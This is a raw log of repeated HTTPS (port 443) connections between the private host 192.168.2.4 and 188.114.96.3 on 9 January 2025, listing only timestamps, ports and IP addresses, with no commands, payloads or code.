Jan 9, 2025 08:29:24.553471088 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.686959028 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687000036 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687027931 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687045097 CET	49902	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.687064886 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687098980 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687149048 CET	49902	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.687155962 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687176943 CET	443	49902	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.687220097 CET	49902	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.688132048 CET	49902	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.689187050 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.689261913 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:24.691370010 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.691627026 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:24.691646099 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.172686100 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.210628986 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.210673094 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320393085 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320447922 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320512056 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320513964 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.320550919 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320585966 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320671082 CET	443	49908	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.320693970 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.320724964 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.330360889 CET	49908	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.373565912 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.373613119 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.373680115 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.373977900 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.373991013 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.864440918 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:25.867146015 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:25.867166996 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000596046 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000643969 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000679016 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000737906 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000823021 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.000838041 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000849962 CET	443	49911	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.000873089 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.000886917 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.001744986 CET	49911	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.002821922 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.002886057 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.005367041 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.005556107 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.005574942 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.492635965 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.494725943 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.494754076 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.642889977 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.642935038 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.642960072 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.642985106 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.643042088 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.643063068 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.643076897 CET	443	49916	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.643198967 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.643198967 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.644071102 CET	49916	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.645160913 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.645200014 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:26.645328999 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.645622015 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:26.645634890 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.121117115 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.128530979 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.128566980 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.265955925 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.265997887 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.266030073 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.266057968 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.266067028 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.266097069 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.266113997 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.266182899 CET	443	49922	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.266226053 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.266877890 CET	49922	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.267946959 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.268007040 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.268073082 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.268297911 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.268315077 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.740235090 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.742605925 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.742634058 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890481949 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890527964 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890553951 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890579939 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890609980 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.890638113 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890650988 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.890680075 CET	443	49927	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.890748978 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.895055056 CET	49927	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.906877041 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.906902075 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:27.906969070 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.910538912 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:27.910548925 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.393584967 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.395298958 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.395309925 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516639948 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516680002 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516712904 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516733885 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.516746998 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516781092 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516827106 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.516834021 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516846895 CET	443	49933	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.516871929 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.516896963 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.517739058 CET	49933	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.518802881 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.518851995 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.518909931 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.519213915 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.519229889 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.974394083 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:28.977633953 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:28.977669954 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103619099 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103665113 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103709936 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103739023 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103760004 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.103792906 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103812933 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.103878021 CET	443	49938	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.103935003 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.104902029 CET	49938	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.106129885 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.106178999 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.106446028 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.106733084 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.106753111 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.580739975 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.583256006 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.583281994 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.716677904 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.716732979 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.716757059 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.716778994 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.716869116 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.716886044 CET	443	49941	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.716906071 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.717315912 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.717873096 CET	49941	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.718940973 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.719000101 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:29.721338034 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.721584082 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:29.721600056 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.197642088 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.200076103 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.200103998 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.343817949 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.343877077 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.343904972 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.343931913 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.343998909 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.344037056 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.344053030 CET	443	49946	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.344105959 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.344813108 CET	49946	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.345928907 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.345993996 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.346079111 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.346306086 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.346327066 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.802238941 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.804408073 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.804438114 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932248116 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932291985 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932368040 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932389975 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.932394028 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932423115 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932435989 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.932509899 CET	443	49952	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.932650089 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.933346033 CET	49952	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.934562922 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.934592962 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:30.934679031 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.934906960 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:30.934917927 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.396991014 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.398766994 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.398792982 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528589964 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528712988 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528747082 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528775930 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.528779984 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528791904 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528836012 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.528911114 CET	443	49956	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.528975964 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.529577017 CET	49956	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.530910969 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.530947924 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:31.531006098 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.531230927 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:31.531244993 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.002582073 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.006812096 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.006851912 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.138788939 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.138834953 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.138869047 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.138896942 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.138902903 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.138931036 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.138981104 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.138993025 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.139029980 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.139318943 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.139369965 CET	443	49962	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.139419079 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.140002966 CET	49962	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.142277956 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.142317057 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.142388105 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.142601013 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.142612934 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.616636992 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.626190901 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.626218081 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764147043 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764203072 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764233112 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764260054 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764292002 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.764306068 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764321089 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.764365911 CET	443	49966	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.764405012 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.765222073 CET	49966	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.766304016 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.766365051 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:32.766431093 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.766663074 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:32.766675949 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.222985983 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.225090027 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.225122929 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.355372906 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.355421066 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.355458021 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.355489016 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.355580091 CET	443	49971	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.355593920 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.355648994 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.356920958 CET	49971	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.358355045 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.358421087 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.358517885 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.358772993 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.358788967 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.812654972 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.814762115 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.814801931 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.952939034 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.952997923 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.953026056 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.953057051 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.953054905 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.953088045 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.953160048 CET	443	49977	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.953227997 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.953227997 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.954197884 CET	49977	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.955415010 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.955472946 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:33.955547094 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.955805063 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:33.955820084 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.426383972 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.428339005 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.428352118 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563525915 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563572884 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563601971 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563621044 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.563637972 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563668013 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563668966 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.563680887 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563721895 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.563728094 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563752890 CET	443	49982	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.563785076 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.564688921 CET	49982	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.565721989 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.565743923 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:34.565800905 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.566010952 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:34.566018105 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.041119099 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.042892933 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.042910099 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.165710926 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.165755987 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.165787935 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.165817022 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.165829897 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.165852070 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.165868044 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.165932894 CET	443	49987	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.166059971 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.166678905 CET	49987	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.167736053 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.167783976 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.167973995 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.168226957 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.168240070 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.628041983 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.631575108 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.631603003 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.746711969 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.746762037 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.746793032 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.746848106 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.746855021 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.746866941 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.746893883 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.746963978 CET	443	49991	188.114.96.3	192.168.2.4
Jan 9, 2025 08:29:35.747817039 CET	49991	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:29:35.756484985 CET	49991	443	192.168.2.4	188.114.96.3
